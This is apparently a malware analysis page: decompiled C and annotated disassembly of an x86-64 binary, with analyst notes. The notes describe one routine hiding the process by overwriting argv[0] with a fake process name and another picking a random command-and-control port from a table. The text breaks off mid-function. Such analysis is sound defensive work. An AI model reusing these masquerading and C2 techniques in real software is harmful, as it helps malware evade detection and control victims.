    for (uVar18 = uVar19; uVar18 != 0; uVar18 = uVar18 - 1) {
      *puVar15 = *param_2;
      param_2 = param_2 + (ulong)bVar20 * -2 + 1;
      puVar15 = puVar15 + (ulong)bVar20 * -2 + 1;
    }
    *puVar15 = (char)iVar4;
    puVar14 = puVar15 + 4;
    *(undefined2 *)(puVar15 + 1) = uVar3;
    puVar15[3] = (char)uVar12;
    puVar15 = local_5b8;
    puVar16 = puVar14;
    for (uVar18 = uVar12 & 0xffffffff; uVar18 != 0; uVar18 = uVar18 - 1) {
      *puVar16 = *puVar15;
      puVar15 = puVar15 + (ulong)bVar20 * -2 + 1;
      puVar16 = puVar16 + (ulong)bVar20 * -2 + 1;
    }
    puVar14[uVar12] = iVar5 == 0;
    (puVar14 + uVar12)[1] = 1;
    FUN_00411926();
    lVar6 = FUN_0041233f(local_278,0x240);
    if (lVar6 == 0x13) {
      iVar4 = FUN_00411a32(local_278,0x240,0x13,&local_578,uVar19 + 7 + uVar12);
      if ((-1 < iVar4) && (cVar2 = FUN_00411c7d(param_1,local_278,(long)iVar4), cVar2 != '\0')) {
        thunk_FUN_0040d215(&local_578,0x100);
        thunk_FUN_0040d215(local_278,0x240);
        puVar17 = local_478;
        for (lVar6 = 0x80; lVar6 != 0; lVar6 = lVar6 + -1) {
          *(undefined4 *)puVar17 = 0;
          puVar17 = (ulong *)((long)puVar17 + (ulong)bVar20 * -8 + 4);
        }
        thunk_FUN_0040d215(local_478,0x200);
        lVar6 = FUN_0041daf0(0);
        DAT_0062f078 = lVar6 + 0x23;
        return;
      }
      FUN_00411926();
    }
  }
LAB_00413836:
  FUN_00412c9a();
  return;
}

Assembly · 378 instructions, 1 annotated

Address	Bytes	Instruction	Comment
004132d0	41 57	PUSH R15
004132d2	41 56	PUSH R14
004132d4	41 55	PUSH R13
004132d6	41 54	PUSH R12
004132d8	55	PUSH RBP
004132d9	53	PUSH RBX
004132da	48 81 ec a8 05 00 00	SUB RSP,0x5a8
004132e1	89 7c 24 18	MOV dword ptr [RSP + local_5c0],EDI
004132e5	48 89 34 24	MOV qword ptr [RSP],RSI
004132e9	e8 23 f2 ff ff	CALL FUN_00412511
004132ee	85 c0	TEST EAX,EAX
004132f0	0f 84 40 05 00 00	JZ LAB_00413836
004132f6	e8 4e f3 ff ff	CALL FUN_00412649	; FUN_00412649: unknown
004132fb	48 8b 3c 24	MOV RDI,qword ptr [RSP]
004132ff	4c 8d 25 78 1c 01 00	LEA R12,[DAT_00424f7e]
00413306	31 db	XOR EBX,EBX
00413308	48 8d ac 24 60 03 00 00	LEA RBP,[RSP + 0x360]
00413310	e8 eb 9b 00 00	CALL FUN_0041cf00
00413315	4c 89 e6	MOV RSI,R12
00413318	48 89 44 24 08	MOV qword ptr [RSP + local_5d0],RAX
0041331d	48 8b 05 cc b3 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
00413324	48 8b b8 e0 0d 00 00	MOV RDI,qword ptr [RAX + 0xde0]
0041332b	e8 03 93 00 00	CALL FUN_0041c633
00413330	49 89 c5	MOV R13,RAX
00413333	48 85 c0	TEST RAX,RAX
00413336	74 50	JZ LAB_00413388
LAB_00413338:
00413338	4c 89 ea	MOV RDX,R13
0041333b	be 00 01 00 00	MOV ESI,0x100
00413340	48 89 ef	MOV RDI,RBP
00413343	e8 8f 91 00 00	CALL FUN_0041c4d7
00413348	48 85 c0	TEST RAX,RAX
0041334b	74 29	JZ LAB_00413376
0041334d	48 8b 05 9c b3 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
00413354	48 63 90 48 0e 00 00	MOVSXD RDX,dword ptr [RAX + 0xe48]
0041335b	85 d2	TEST EDX,EDX
0041335d	7e d9	JLE LAB_00413338
0041335f	48 8b b0 40 0e 00 00	MOV RSI,qword ptr [RAX + 0xe40]
00413366	48 89 ef	MOV RDI,RBP
00413369	e8 62 9c 00 00	CALL FUN_0041cfd0
0041336e	83 f8 01	CMP EAX,0x1
00413371	83 d3 00	ADC EBX,0x0
00413374	eb c2	JMP LAB_00413338
LAB_00413376:
00413376	4c 89 ef	MOV RDI,R13
00413379	e8 88 8f 00 00	CALL FUN_0041c306
0041337e	8d 43 ff	LEA EAX,[RBX + -0x1]
00413381	3d fe 00 00 00	CMP EAX,0xfe
00413386	76 1a	JBE LAB_004133a2
LAB_00413388:
00413388	bf 54 00 00 00	MOV EDI,0x54
0041338d	b3 01	MOV BL,0x1
0041338f	e8 5c 42 00 00	CALL FUN_004175f0
00413394	48 8d 50 ff	LEA RDX,[RAX + -0x1]
00413398	48 81 fa fe 00 00 00	CMP RDX,0xfe
0041339f	0f 46 d8	CMOVBE EBX,EAX
LAB_004133a2:
004133a2	48 8b 05 47 b3 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
004133a9	4c 89 e6	MOV RSI,R12
004133ac	48 8b b8 f0 0d 00 00	MOV RDI,qword ptr [RAX + 0xdf0]
004133b3	e8 7b 92 00 00	CALL FUN_0041c633
004133b8	48 89 c5	MOV RBP,RAX
004133bb	48 85 c0	TEST RAX,RAX
004133be	74 7d	JZ LAB_0041343d
004133c0	48 c7 84 24 60 01 00 00 …	MOV qword ptr [RSP + local_478],0x0
004133cc	4c 8d ac 24 60 03 00 00	LEA R13,[RSP + 0x360]
LAB_004133d4:
004133d4	48 89 ea	MOV RDX,RBP
004133d7	be 00 01 00 00	MOV ESI,0x100
004133dc	4c 89 ef	MOV RDI,R13
004133df	e8 f3 90 00 00	CALL FUN_0041c4d7
004133e4	48 85 c0	TEST RAX,RAX
004133e7	74 28	JZ LAB_00413411
004133e9	bf b2 01 00 00	MOV EDI,0x1b2
004133ee	e8 1a f8 ff ff	CALL FUN_00412c0d
004133f3	48 89 c6	MOV RSI,RAX
004133f6	48 85 c0	TEST RAX,RAX
004133f9	74 d9	JZ LAB_004133d4
004133fb	31 c0	XOR EAX,EAX
004133fd	48 8d 94 24 60 01 00 00	LEA RDX,[RSP + 0x160]
00413405	4c 89 ef	MOV RDI,R13
00413408	e8 46 94 00 00	CALL FUN_0041c853
0041340d	ff c8	DEC EAX
0041340f	75 c3	JNZ LAB_004133d4
LAB_00413411:
00413411	48 89 ef	MOV RDI,RBP
00413414	e8 ed 8e 00 00	CALL FUN_0041c306
00413419	48 8b 84 24 60 01 00 00	MOV RAX,qword ptr [RSP + local_478]
00413421	48 85 c0	TEST RAX,RAX
00413424	74 17	JZ LAB_0041343d
00413426	41 be ff ff 00 00	MOV R14D,0xffff
0041342c	48 3d ff ff ff 03	CMP RAX,0x3ffffff
00413432	77 5b	JA LAB_0041348f
00413434	48 c1 e8 0a	SHR RAX,0xa
00413438	49 89 c6	MOV R14,RAX
0041343b	eb 52	JMP LAB_0041348f
LAB_0041343d:
0041343d	bf 55 00 00 00	MOV EDI,0x55
00413442	e8 a9 41 00 00	CALL FUN_004175f0
00413447	bf 1e 00 00 00	MOV EDI,0x1e
0041344c	48 89 c5	MOV RBP,RAX
0041344f	e8 9c 41 00 00	CALL FUN_004175f0
00413454	48 85 ed	TEST RBP,RBP
00413457	7e 30	JLE LAB_00413489
00413459	48 85 c0	TEST RAX,RAX
0041345c	7e 2b	JLE LAB_00413489
0041345e	48 ba ff ff ff ff 0f 00 …	MOV RDX,0xfffffffff
00413468	48 0f af c5	IMUL RAX,RBP
0041346c	48 39 d0	CMP RAX,RDX
0041346f	77 0e	JA LAB_0041347f
00413471	48 c1 e8 14	SHR RAX,0x14
00413475	41 be 00 04 00 00	MOV R14D,0x400
0041347b	74 12	JZ LAB_0041348f
0041347d	eb 05	JMP LAB_00413484
LAB_0041347f:
0041347f	b8 ff ff 00 00	MOV EAX,0xffff
LAB_00413484:
00413484	41 89 c6	MOV R14D,EAX
00413487	eb 06	JMP LAB_0041348f
LAB_00413489:
00413489	41 be 00 04 00 00	MOV R14D,0x400
LAB_0041348f:
0041348f	bf 4f 01 00 00	MOV EDI,0x14f
00413494	e8 74 f7 ff ff	CALL FUN_00412c0d
00413499	48 89 c6	MOV RSI,RAX
0041349c	48 85 c0	TEST RAX,RAX
0041349f	74 45	JZ LAB_004134e6
004134a1	8a 00	MOV AL,byte ptr [RAX]
004134a3	3c 2f	CMP AL,0x2f
004134a5	74 3f	JZ LAB_004134e6
004134a7	84 c0	TEST AL,AL
004134a9	74 3b	JZ LAB_004134e6
004134ab	48 ba 04 e0 ff ff ff ff …	MOV RDX,-0x4000000001ffc
004134b5	48 89 f0	MOV RAX,RSI
LAB_004134b8:
004134b8	8a 08	MOV CL,byte ptr [RAX]
004134ba	84 c9	TEST CL,CL
004134bc	0f 84 d5 03 00 00	JZ LAB_00413897
004134c2	8d 79 9f	LEA EDI,[RCX + -0x61]
004134c5	40 80 ff 19	CMP DIL,0x19
004134c9	76 16	JBE LAB_004134e1
004134cb	83 e9 2d	SUB ECX,0x2d
004134ce	80 f9 32	CMP CL,0x32
004134d1	77 13	JA LAB_004134e6
004134d3	48 89 d7	MOV RDI,RDX
004134d6	48 d3 ff	SAR RDI,CL
004134d9	48 89 f9	MOV RCX,RDI
004134dc	80 e1 01	AND CL,0x1
004134df	75 05	JNZ LAB_004134e6
LAB_004134e1:
004134e1	48 ff c0	INC RAX
004134e4	eb d2	JMP LAB_004134b8
LAB_004134e6:
004134e6	4c 8d ac 24 60 03 00 00	LEA R13,[RSP + 0x360]
004134ee	48 8d 6c 24 20	LEA RBP,[RSP + 0x20]
004134f3	4c 89 ef	MOV RDI,R13
004134f6	e8 fc 5f 00 00	CALL FUN_004194f7
004134fb	48 8d b4 24 64 04 00 00	LEA RSI,[RSP + 0x464]
00413503	85 c0	TEST EAX,EAX
00413505	0f 84 ed 01 00 00	JZ LAB_004136f8
0041350b	48 8b 05 de b1 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
00413512	4c 89 e6	MOV RSI,R12
00413515	48 8b b8 00 0e 00 00	MOV RDI,qword ptr [RAX + 0xe00]
0041351c	e8 12 91 00 00	CALL FUN_0041c633
00413521	49 89 c7	MOV R15,RAX
00413524	48 85 c0	TEST RAX,RAX
00413527	0f 84 bd 01 00 00	JZ LAB_004136ea
0041352d	48 89 c2	MOV RDX,RAX
00413530	be 00 02 00 00	MOV ESI,0x200
00413535	4c 89 ef	MOV RDI,R13
00413538	e8 9a 8f 00 00	CALL FUN_0041c4d7
0041353d	4c 8b 25 ac b1 21 00	MOV R12,qword ptr [DAT_0062e6f0]
00413544	48 85 c0	TEST RAX,RAX
00413547	0f 84 79 01 00 00	JZ LAB_004136c6
0041354d	49 8b b4 24 00 0f 00 00	MOV RSI,qword ptr [R12 + 0xf00]
00413555	48 85 f6	TEST RSI,RSI
00413558	74 16	JZ LAB_00413570
0041355a	4c 89 ef	MOV RDI,R13
0041355d	48 89 74 24 10	MOV qword ptr [RSP + local_5c8],RSI
00413562	e8 d9 9f 00 00	CALL FUN_0041d540
00413567	48 85 c0	TEST RAX,RAX
0041356a	0f 85 4a 01 00 00	JNZ LAB_004136ba
LAB_00413570:
00413570	49 8b b4 24 10 0f 00 00	MOV RSI,qword ptr [R12 + 0xf10]
00413578	48 85 f6	TEST RSI,RSI
0041357b	74 16	JZ LAB_00413593
0041357d	4c 89 ef	MOV RDI,R13
00413580	48 89 74 24 10	MOV qword ptr [RSP + local_5c8],RSI
00413585	e8 b6 9f 00 00	CALL FUN_0041d540
0041358a	48 85 c0	TEST RAX,RAX
0041358d	0f 85 27 01 00 00	JNZ LAB_004136ba
LAB_00413593:
00413593	49 8b b4 24 20 0f 00 00	MOV RSI,qword ptr [R12 + 0xf20]
0041359b	48 85 f6	TEST RSI,RSI
0041359e	74 16	JZ LAB_004135b6
004135a0	4c 89 ef	MOV RDI,R13
004135a3	48 89 74 24 10	MOV qword ptr [RSP + local_5c8],RSI
004135a8	e8 93 9f 00 00	CALL FUN_0041d540
004135ad	48 85 c0	TEST RAX,RAX
004135b0	0f 85 04 01 00 00	JNZ LAB_004136ba
LAB_004135b6:
004135b6	49 8b b4 24 30 0f 00 00	MOV RSI,qword ptr [R12 + 0xf30]
004135be	48 85 f6	TEST RSI,RSI
004135c1	74 16	JZ LAB_004135d9
004135c3	4c 89 ef	MOV RDI,R13
004135c6	48 89 74 24 10	MOV qword ptr [RSP + local_5c8],RSI
004135cb	e8 70 9f 00 00	CALL FUN_0041d540
004135d0	48 85 c0	TEST RAX,RAX
004135d3	0f 85 e1 00 00 00	JNZ LAB_004136ba
LAB_004135d9:
004135d9	49 8b b4 24 40 0f 00 00	MOV RSI,qword ptr [R12 + 0xf40]
004135e1	48 85 f6	TEST RSI,RSI
004135e4	74 16	JZ LAB_004135fc
004135e6	4c 89 ef	MOV RDI,R13
004135e9	48 89 74 24 10	MOV qword ptr [RSP + local_5c8],RSI
004135ee	e8 4d 9f 00 00	CALL FUN_0041d540
004135f3	48 85 c0	TEST RAX,RAX
004135f6	0f 85 be 00 00 00	JNZ LAB_004136ba
LAB_004135fc:
004135fc	49 8b b4 24 50 0f 00 00	MOV RSI,qword ptr [R12 + 0xf50]
00413604	48 85 f6	TEST RSI,RSI
00413607	74 16	JZ LAB_0041361f
00413609	4c 89 ef	MOV RDI,R13
0041360c	48 89 74 24 10	MOV qword ptr [RSP + local_5c8],RSI
00413611	e8 2a 9f 00 00	CALL FUN_0041d540
00413616	48 85 c0	TEST RAX,RAX
00413619	0f 85 9b 00 00 00	JNZ LAB_004136ba
LAB_0041361f:
0041361f	49 8b b4 24 60 0f 00 00	MOV RSI,qword ptr [R12 + 0xf60]
00413627	48 85 f6	TEST RSI,RSI
0041362a	74 12	JZ LAB_0041363e
0041362c	4c 89 ef	MOV RDI,R13
0041362f	48 89 74 24 10	MOV qword ptr [RSP + local_5c8],RSI
00413634	e8 07 9f 00 00	CALL FUN_0041d540
00413639	48 85 c0	TEST RAX,RAX
0041363c	75 7c	JNZ LAB_004136ba
LAB_0041363e:
0041363e	49 8b b4 24 70 0f 00 00	MOV RSI,qword ptr [R12 + 0xf70]
00413646	48 85 f6	TEST RSI,RSI
00413649	74 12	JZ LAB_0041365d
0041364b	4c 89 ef	MOV RDI,R13
0041364e	48 89 74 24 10	MOV qword ptr [RSP + local_5c8],RSI
00413653	e8 e8 9e 00 00	CALL FUN_0041d540
00413658	48 85 c0	TEST RAX,RAX
0041365b	75 5d	JNZ LAB_004136ba
LAB_0041365d:
0041365d	49 8b b4 24 80 0f 00 00	MOV RSI,qword ptr [R12 + 0xf80]
00413665	48 85 f6	TEST RSI,RSI
00413668	74 12	JZ LAB_0041367c
0041366a	4c 89 ef	MOV RDI,R13
0041366d	48 89 74 24 10	MOV qword ptr [RSP + local_5c8],RSI
00413672	e8 c9 9e 00 00	CALL FUN_0041d540
00413677	48 85 c0	TEST RAX,RAX
0041367a	75 3e	JNZ LAB_004136ba
LAB_0041367c:
0041367c	49 8b b4 24 90 0f 00 00	MOV RSI,qword ptr [R12 + 0xf90]
00413684	48 85 f6	TEST RSI,RSI
00413687	74 12	JZ LAB_0041369b
00413689	4c 89 ef	MOV RDI,R13
0041368c	48 89 74 24 10	MOV qword ptr [RSP + local_5c8],RSI
00413691	e8 aa 9e 00 00	CALL FUN_0041d540
00413696	48 85 c0	TEST RAX,RAX
00413699	75 1f	JNZ LAB_004136ba
LAB_0041369b:
0041369b	49 8b b4 24 a0 0f 00 00	MOV RSI,qword ptr [R12 + 0xfa0]
004136a3	48 85 f6	TEST RSI,RSI
004136a6	74 1e	JZ LAB_004136c6
004136a8	4c 89 ef	MOV RDI,R13
004136ab	48 89 74 24 10	MOV qword ptr [RSP + local_5c8],RSI
004136b0	e8 8b 9e 00 00	CALL FUN_0041d540
004136b5	48 85 c0	TEST RAX,RAX
004136b8	74 0c	JZ LAB_004136c6
LAB_004136ba:
004136ba	48 8b 74 24 10	MOV RSI,qword ptr [RSP + local_5c8]
004136bf	ba 3f 00 00 00	MOV EDX,0x3f
004136c4	eb 0d	JMP LAB_004136d3
LAB_004136c6:
004136c6	49 8b b4 24 b0 0f 00 00	MOV RSI,qword ptr [R12 + 0xfb0]
004136ce	ba 3f 00 00 00	MOV EDX,0x3f
LAB_004136d3:
004136d3	48 89 ef	MOV RDI,RBP
004136d6	e8 75 99 00 00	CALL FUN_0041d050
004136db	4c 89 ff	MOV RDI,R15
004136de	c6 44 24 5f 00	MOV byte ptr [RSP + local_579],0x0
004136e3	e8 1e 8c 00 00	CALL FUN_0041c306
004136e8	eb 20	JMP LAB_0041370a
LAB_004136ea:
004136ea	48 8b 05 ff af 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
004136f1	48 8b b0 b0 0f 00 00	MOV RSI,qword ptr [RAX + 0xfb0]
LAB_004136f8:
004136f8	ba 3f 00 00 00	MOV EDX,0x3f
004136fd	48 89 ef	MOV RDI,RBP
LAB_00413700:
00413700	e8 4b 99 00 00	CALL FUN_0041d050
00413705	c6 44 24 5f 00	MOV byte ptr [RSP + local_579],0x0
LAB_0041370a:
0041370a	4c 8d 6c 24 20	LEA R13,[RSP + 0x20]
0041370f	4c 8d a4 24 60 01 00 00	LEA R12,[RSP + 0x160]
00413717	4c 89 ef	MOV RDI,R13
0041371a	e8 e1 97 00 00	CALL FUN_0041cf00
0041371f	48 89 c5	MOV RBP,RAX
00413722	e8 0a a5 00 00	CALL FUN_0041dc31
00413727	b9 80 00 00 00	MOV ECX,0x80
0041372c	4c 89 e7	MOV RDI,R12
0041372f	be 00 02 00 00	MOV ESI,0x200
00413734	41 89 c7	MOV R15D,EAX
00413737	31 c0	XOR EAX,EAX
00413739	f3 ab	STOSD.REP RDI
0041373b	4c 89 e7	MOV RDI,R12
0041373e	e8 fc eb ff ff	CALL FUN_0041233f
00413743	48 83 f8 13	CMP RAX,0x13
00413747	0f 85 e9 00 00 00	JNZ LAB_00413836
0041374d	45 85 ff	TEST R15D,R15D
00413750	44 0f b6 7c 24 08	MOVZX R15D,byte ptr [RSP + local_5d0]
00413756	48 8d 94 24 74 01 00 00	LEA RDX,[RSP + 0x174]
0041375e	48 8b 34 24	MOV RSI,qword ptr [RSP]
00413762	48 89 d7	MOV RDI,RDX
00413765	41 0f 94 c0	SETZ R8B
00413769	44 88 bc 24 73 01 00 00	MOV byte ptr [RSP + local_465],R15B
00413771	4c 89 f9	MOV RCX,R15
00413774	f3 a4	MOVSB.REP RDI,RSI
00413776	44 88 44 24 1f	MOV byte ptr [RSP + local_5b9],R8B
0041377b	88 1f	MOV byte ptr [RDI],BL
0041377d	48 89 7c 24 10	MOV qword ptr [RSP + local_5c8],RDI
00413782	41 0f b7 fe	MOVZX EDI,R14W
00413786	4c 8d 74 24 60	LEA R14,[RSP + 0x60]
0041378b	e8 7d 63 00 00	CALL FUN_00419b0d
00413790	48 8b 54 24 10	MOV RDX,qword ptr [RSP + local_5c8]
00413795	4c 89 ee	MOV RSI,R13
00413798	89 e9	MOV ECX,EBP
0041379a	44 8a 44 24 1f	MOV R8B,byte ptr [RSP + local_5b9]
0041379f	4c 8d 4a 04	LEA R9,[RDX + 0x4]
004137a3	66 89 42 01	MOV word ptr [RDX + local_462],AX
004137a7	40 88 6a 03	MOV byte ptr [RDX + local_460],BPL
004137ab	4c 89 cf	MOV RDI,R9
004137ae	f3 a4	MOVSB.REP RDI,RSI
004137b0	8a 4c 24 08	MOV CL,byte ptr [RSP + local_5d0]
004137b4	48 8b 34 24	MOV RSI,qword ptr [RSP]
004137b8	44 88 44 2a 04	MOV byte ptr [RDX + RBP*0x1 + 0x4],R8B
004137bd	48 8d 54 24 61	LEA RDX,[RSP + 0x61]
004137c2	88 4c 24 60	MOV byte ptr [RSP + local_578],CL
004137c6	48 89 d7	MOV RDI,RDX
004137c9	4c 89 f9	MOV RCX,R15
004137cc	f3 a4	MOVSB.REP RDI,RSI
004137ce	4c 89 ee	MOV RSI,R13
004137d1	89 e9	MOV ECX,EBP
004137d3	4c 8d ac 24 60 03 00 00	LEA R13,[RSP + 0x360]
004137db	48 89 fa	MOV RDX,RDI
004137de	88 1f	MOV byte ptr [RDI],BL
004137e0	48 83 c2 04	ADD RDX,0x4
004137e4	66 89 47 01	MOV word ptr [RDI + local_575],AX
004137e8	40 88 6f 03	MOV byte ptr [RDI + local_573],BPL
004137ec	48 89 d7	MOV RDI,RDX
004137ef	48 01 ea	ADD RDX,RBP
004137f2	f3 a4	MOVSB.REP RDI,RSI
004137f4	44 88 02	MOV byte ptr [RDX],R8B
004137f7	c6 42 01 01	MOV byte ptr [RDX + 0x1],0x1
004137fb	e8 26 e1 ff ff	CALL FUN_00411926
00413800	be 40 02 00 00	MOV ESI,0x240
00413805	4c 89 ef	MOV RDI,R13
00413808	e8 32 eb ff ff	CALL FUN_0041233f
0041380d	48 83 f8 13	CMP RAX,0x13
00413811	75 23	JNZ LAB_00413836
00413813	4d 8d 44 2f 07	LEA R8,[R15 + RBP*0x1 + 0x7]
00413818	4c 89 f1	MOV RCX,R14
0041381b	ba 13 00 00 00	MOV EDX,0x13
00413820	4c 89 ef	MOV RDI,R13
00413823	be 40 02 00 00	MOV ESI,0x240
00413828	e8 05 e2 ff ff	CALL FUN_00411a32
0041382d	85 c0	TEST EAX,EAX
0041382f	79 0c	JNS LAB_0041383d
LAB_00413831:
00413831	e8 f0 e0 ff ff	CALL FUN_00411926
LAB_00413836:
00413836	e8 5f f4 ff ff	CALL FUN_00412c9a
0041383b	eb 69	JMP LAB_004138a6
LAB_0041383d:
0041383d	8b 7c 24 18	MOV EDI,dword ptr [RSP + local_5c0]
00413841	48 63 d0	MOVSXD RDX,EAX
00413844	4c 89 ee	MOV RSI,R13
00413847	e8 31 e4 ff ff	CALL FUN_00411c7d
0041384c	84 c0	TEST AL,AL
0041384e	74 e1	JZ LAB_00413831
00413850	be 00 01 00 00	MOV ESI,0x100
00413855	4c 89 f7	MOV RDI,R14
00413858	e8 bf 99 ff ff	CALL thunk_FUN_0040d215
0041385d	be 40 02 00 00	MOV ESI,0x240
00413862	4c 89 ef	MOV RDI,R13
00413865	e8 b2 99 ff ff	CALL thunk_FUN_0040d215
0041386a	31 c0	XOR EAX,EAX
0041386c	b9 80 00 00 00	MOV ECX,0x80
00413871	4c 89 e7	MOV RDI,R12
00413874	f3 ab	STOSD.REP RDI
00413876	be 00 02 00 00	MOV ESI,0x200
0041387b	4c 89 e7	MOV RDI,R12
0041387e	e8 99 99 ff ff	CALL thunk_FUN_0040d215
00413883	31 ff	XOR EDI,EDI
00413885	e8 66 a2 00 00	CALL FUN_0041daf0
0041388a	48 83 c0 23	ADD RAX,0x23
0041388e	48 89 05 e3 b7 21 00	MOV qword ptr [DAT_0062f078],RAX
00413895	eb 0f	JMP LAB_004138a6
LAB_00413897:
00413897	48 8d 7c 24 20	LEA RDI,[RSP + 0x20]
0041389c	ba 3f 00 00 00	MOV EDX,0x3f
004138a1	e9 5a fe ff ff	JMP LAB_00413700
LAB_004138a6:
004138a6	48 81 c4 a8 05 00 00	ADD RSP,0x5a8
004138ad	5b	POP RBX
004138ae	5d	POP RBP
004138af	41 5c	POP R12
004138b1	41 5d	POP R13
004138b3	41 5e	POP R14
004138b5	41 5f	POP R15
004138b7	c3	RET

overwrites argv[0] with a store process…

0x4139d0218 bytes

undefined FUN_004139d0()

overwrites argv[0] with a store process name padded with spaces

Cited as: E11
Behaviours: B3
Called from: FUN_004001d0
Calls: FUN_0040d152, FUN_00417ea8, FUN_0041bc9b, FUN_0041bca6, FUN_0041daf0

Decompiled C · 70 lines

void FUN_004139d0(undefined8 *param_1)

{
  undefined4 uVar1;
  int iVar2;
  ulong uVar3;
  long lVar4;
  undefined8 *puVar5;
  undefined8 *puVar6;
  undefined1 *puVar7;
  undefined8 *puVar8;
  byte bVar9;
  undefined8 local_d9 [7];
  undefined1 local_9a;
  undefined8 local_99;
  undefined8 uStack_91;
  undefined1 local_89 [121];
  
  bVar9 = 0;
  uVar1 = FUN_0041daf0(0);
  FUN_0041bc9b(uVar1);
  iVar2 = FUN_0041bca6();
  if (DAT_0062e6f0 != 0) {
    puVar5 = (undefined8 *)((long)(iVar2 % 8 + 0xe7) * 0x10 + DAT_0062e6f0);
    if (((undefined1 *)*puVar5 != (undefined1 *)0x0) &&
       (uVar3 = (ulong)*(uint *)(puVar5 + 1), *(uint *)(puVar5 + 1) - 1 < 0x3f)) {
      puVar6 = local_d9;
      puVar7 = (undefined1 *)*puVar5;
      puVar8 = puVar6;
      for (; uVar3 != 0; uVar3 = uVar3 - 1) {
        *(undefined1 *)puVar8 = *puVar7;
        puVar7 = puVar7 + (ulong)bVar9 * -2 + 1;
        puVar8 = (undefined8 *)((long)puVar8 + (ulong)bVar9 * -2 + 1);
      }
      iVar2 = *(int *)(puVar5 + 1);
      if (0 < iVar2) {
        puVar7 = (undefined1 *)((long)puVar6 + (long)iVar2);
        uVar3 = (ulong)(0x40 - iVar2);
        if (0x40 < iVar2) {
          uVar3 = 0;
        }
        for (; uVar3 != 0; uVar3 = uVar3 - 1) {
          *puVar7 = 0x20;
          puVar7 = puVar7 + (ulong)bVar9 * -2 + 1;
        }
        local_9a = 0;
        goto LAB_00413a86;
      }
    }
  }
  puVar7 = local_89;
  for (lVar4 = 0x71; lVar4 != 0; lVar4 = lVar4 + -1) {
    *puVar7 = 0;
    puVar7 = puVar7 + (ulong)bVar9 * -2 + 1;
  }
  puVar6 = &local_99;
  local_99 = 0;
  uStack_91 = 0;
  puVar5 = puVar6;
  for (lVar4 = 0x80; lVar4 != 0; lVar4 = lVar4 + -1) {
    *(undefined1 *)puVar5 = 0x20;
    puVar5 = (undefined8 *)((long)puVar5 + (ulong)bVar9 * -2 + 1);
  }
LAB_00413a86:
  FUN_0040d152(*param_1,puVar6);
  FUN_00417ea8(0xf,puVar6);
  return;
}

Assembly · 66 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
004139d0	55	PUSH RBP	; E11
004139d1	53	PUSH RBX
004139d2	48 89 fb	MOV RBX,RDI
004139d5	31 ff	XOR EDI,EDI
004139d7	48 81 ec d8 00 00 00	SUB RSP,0xd8
004139de	e8 0d a1 00 00	CALL FUN_0041daf0
004139e3	89 c7	MOV EDI,EAX
004139e5	e8 b1 82 00 00	CALL FUN_0041bc9b
004139ea	e8 b7 82 00 00	CALL FUN_0041bca6
004139ef	48 8b 0d fa ac 21 00	MOV RCX,qword ptr [DAT_0062e6f0]
004139f6	48 85 c9	TEST RCX,RCX
004139f9	74 64	JZ LAB_00413a5f
004139fb	be 08 00 00 00	MOV ESI,0x8
00413a00	99	CDQ
00413a01	f7 fe	IDIV ESI
00413a03	81 c2 e7 00 00 00	ADD EDX,0xe7
00413a09	48 63 d2	MOVSXD RDX,EDX
00413a0c	48 c1 e2 04	SHL RDX,0x4
00413a10	48 01 ca	ADD RDX,RCX
00413a13	48 8b 32	MOV RSI,qword ptr [RDX]
00413a16	48 85 f6	TEST RSI,RSI
00413a19	74 44	JZ LAB_00413a5f
00413a1b	8b 42 08	MOV EAX,dword ptr [RDX + 0x8]
00413a1e	8d 48 ff	LEA ECX,[RAX + -0x1]
00413a21	83 f9 3e	CMP ECX,0x3e
00413a24	77 39	JA LAB_00413a5f
00413a26	48 8d 6c 24 0f	LEA RBP,[RSP + 0xf]
00413a2b	48 89 c1	MOV RCX,RAX
00413a2e	48 89 ef	MOV RDI,RBP
00413a31	f3 a4	MOVSB.REP RDI,RSI
00413a33	48 63 7a 08	MOVSXD RDI,dword ptr [RDX + 0x8]
00413a37	48 89 c8	MOV RAX,RCX
00413a3a	85 ff	TEST EDI,EDI
00413a3c	7e 21	JLE LAB_00413a5f
00413a3e	b9 40 00 00 00	MOV ECX,0x40
00413a43	48 8d 54 3d 00	LEA RDX,[RBP + RDI*0x1]
00413a48	29 f9	SUB ECX,EDI
00413a4a	83 ff 40	CMP EDI,0x40
00413a4d	48 89 d7	MOV RDI,RDX
00413a50	48 0f 4f c8	CMOVG RCX,RAX
00413a54	b0 20	MOV AL,0x20
00413a56	f3 aa	STOSB.REP RDI
00413a58	c6 44 24 4e 00	MOV byte ptr [RSP + local_9a],0x0
00413a5d	eb 27	JMP LAB_00413a86
LAB_00413a5f:
00413a5f	31 c0	XOR EAX,EAX
00413a61	48 8d 7c 24 5f	LEA RDI,[RSP + 0x5f]
00413a66	0f 57 c0	XORPS XMM0,XMM0
00413a69	b9 71 00 00 00	MOV ECX,0x71
00413a6e	f3 aa	STOSB.REP RDI
00413a70	48 8d 6c 24 4f	LEA RBP,[RSP + 0x4f]
00413a75	b9 80 00 00 00	MOV ECX,0x80
00413a7a	b0 20	MOV AL,0x20
00413a7c	48 89 ef	MOV RDI,RBP
00413a7f	0f 11 44 24 4f	MOVUPS xmmword ptr [RSP + local_99[0]],XMM0
00413a84	f3 aa	STOSB.REP RDI
LAB_00413a86:
00413a86	48 8b 3b	MOV RDI,qword ptr [RBX]
00413a89	48 89 ee	MOV RSI,RBP
00413a8c	e8 c1 96 ff ff	CALL FUN_0040d152
00413a91	48 89 ee	MOV RSI,RBP
00413a94	bf 0f 00 00 00	MOV EDI,0xf
00413a99	31 c0	XOR EAX,EAX
00413a9b	e8 08 44 00 00	CALL FUN_00417ea8
00413aa0	48 81 c4 d8 00 00 00	ADD RSP,0xd8
00413aa7	5b	POP RBX
00413aa8	5d	POP RBP
00413aa9	c3	RET

picks a random C2 port from the…

0x413aaa54 bytes

undefined FUN_00413aaa()

picks a random C2 port from the 14-entry table at 0x4287e0

Cited as: E29, E30
Behaviours: B6
Called from: FUN_004001d0
Calls: FUN_0040caad, FUN_00419b0d

Decompiled C · 22 lines

void FUN_00413aaa(void)

{
  uint uVar1;
  long lVar2;
  undefined4 *puVar3;
  undefined4 *puVar4;
  undefined4 local_24 [9];
  
  puVar3 = &DAT_004287e0;
  puVar4 = local_24;
